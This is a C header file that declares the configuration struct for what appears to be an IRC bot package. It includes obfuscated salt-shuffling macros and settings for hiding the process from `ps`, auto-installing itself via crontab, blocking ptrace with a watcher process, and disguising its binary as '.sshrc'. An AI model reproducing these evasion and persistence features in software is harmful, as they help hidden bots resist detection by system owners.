settings.h 3.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162
  1. #ifndef _SETTINGS_H
  2. #define _SETTINGS_H
  3. #define PREFIXLEN 16
  4. #define SETTINGS_VER 1
  5. typedef struct settings_struct {
  6. char prefix[PREFIXLEN];
  7. /* -- STATIC -- */
  8. // char hash[33];
  9. char hash[49];
  10. char packname[65];
  11. char shellhash[65];
  12. char owners[513];
  13. char hubs[513];
  14. char owneremail[385];
  15. char salt1[33];
  16. char salt2[17];
  17. char dcc_prefix[17];
  18. char features[17];
  19. /* -- DYNAMIC -- */
  20. char bots[1025];
  21. char uid[17];
  22. char autouname[17]; /* should we just auto update any changed in uname output? */
  23. char pscloak[17]; /* should the bots bother trying to cloak `ps`? */
  24. char autocron[17]; /* should the bot auto crontab itself? */
  25. char watcher[17]; /* spawn a watcher pid to block ptrace? */
  26. char uname[113];
  27. char username[49]; /* shell username */
  28. char datadir[1025];
  29. char homedir[1025]; /* homedir */
  30. char binpath[1025]; /* path to binary, ie: ~/ */
  31. char binname[113]; /* binary name, ie: .sshrc */
  32. char portmin[17]; /* for hubs, the reserved port range for incoming connections */
  33. char portmax[17]; /* for hubs, the reserved port range for incoming connections */
  34. /* -- PADDING -- */
  35. char padding[8];
  36. } settings_t;
  37. #define SALT1 {s1_1[0],s1_1[1],s1_5[0],s1_5[1],s1_8[0],s1_8[1],s1_4[0],s1_9[1],s1_2[0],s1_13[0],s1_6[0],s1_6[1],s1_7[0],s1_7[1],s1_3[0],s1_13[1],s1_16[1],s1_4[1],s1_15[0],s1_10[1],s1_14[0],s1_14[1],s1_12[0],s1_12[1],s1_2[1],s1_3[1],s1_11[0],s1_11[1],s1_10[0],s1_15[1],s1_16[0],s1_9[0],'\0'}
  38. #define SALT2 {s2_5[0],s2_5[1],s2_2[0],s2_2[1],s2_8[1],s2_4[0],s2_7[1],s2_4[1],s2_1[0],s2_6[0],s2_1[1],s2_6[1],s2_3[0],s2_3[1],s2_8[0],s2_7[0],'\0'}
  39. #define _x_1 settings.salt1
  40. #define _x_2 settings.salt2
  41. #define INIT_SALTS s2_6[1]=_x_2[11];s1_10[0]=_x_1[28];s1_5[1]=_x_1[3];s2_4[0]=_x_2[5];s1_2[1]=_x_1[24];s2_2[1]=_x_2[3];s1_13[1]=_x_1[15];s1_7[0]=_x_1[12];s1_4[1]=_x_1[17];s2_8[0]=_x_2[14];s1_6[0]=_x_1[10];s1_15[0]=_x_1[18];s1_7[1]=_x_1[13];s1_8[0]=_x_1[4];s1_16[0]=_x_1[30];s1_1[0]=_x_1[0];s1_9[1]=_x_1[7];s1_3[1]=_x_1[25];s2_3[1]=_x_2[13];s2_4[1]=_x_2[7];s1_3[0]=_x_1[14];s1_12[0]=_x_1[22];s1_8[1]=_x_1[5];s1_1[1]=_x_1[1];s2_1[0]=_x_2[8];s1_10[1]=_x_1[19];s1_14[0]=_x_1[20];s1_11[0]=_x_1[26];s2_7[1]=_x_2[6];s2_1[1]=_x_2[10];s1_9[0]=_x_1[31];s2_2[0]=_x_2[2];s1_15[1]=_x_1[29];s2_5[1]=_x_2[1];s2_5[0]=_x_2[0];s1_16[1]=_x_1[16];s2_6[0]=_x_2[9];s1_13[0]=_x_1[9];s1_2[0]=_x_1[8];s1_5[0]=_x_1[2];s2_8[1]=_x_2[4];s1_6[1]=_x_1[11];s2_3[0]=_x_2[12];s2_7[0]=_x_2[15];s1_12[1]=_x_1[23];s1_4[0]=_x_1[6];s1_14[1]=_x_1[21];s1_11[1]=_x_1[27];
  42. extern char s1_3[3],s1_2[3],s1_1[3],s2_7[3],s1_9[3],s1_13[3],s1_14[3],s2_2[3],s1_10[3],s2_4[3],s1_4[3],s2_3[3],s2_1[3],s2_6[3],s1_7[3],s1_12[3],s2_5[3],s1_5[3],s1_6[3],s1_11[3],s2_8[3],s1_8[3],s1_16[3],s1_15[3];
  43. #define SIZE_PACK sizeof(settings.hash) + sizeof(settings.packname) + sizeof(settings.shellhash) + \
  44. sizeof(settings.owners) + sizeof(settings.hubs) + sizeof(settings.owneremail) + \
  45. sizeof(settings.salt1) + sizeof(settings.salt2) + sizeof(settings.dcc_prefix) + sizeof(settings.features)
  46. #define SIZE_CONF sizeof(settings.bots) + sizeof(settings.uid) + sizeof(settings.autouname) + \
  47. sizeof(settings.pscloak) + sizeof(settings.autocron) + sizeof(settings.watcher) + sizeof(settings.uname) + \
  48. sizeof(settings.username) + sizeof(settings.homedir) + sizeof(settings.binpath) + sizeof(settings.binname) + \
  49. sizeof(settings.portmin) + sizeof(settings.portmin) + sizeof(settings.datadir)
  50. #define SIZE_PAD sizeof(settings.padding)
  51. #define SIZE_SETTINGS sizeof(settings_t)
  52. extern settings_t settings;
  53. #endif /* !_SETTINGS_H */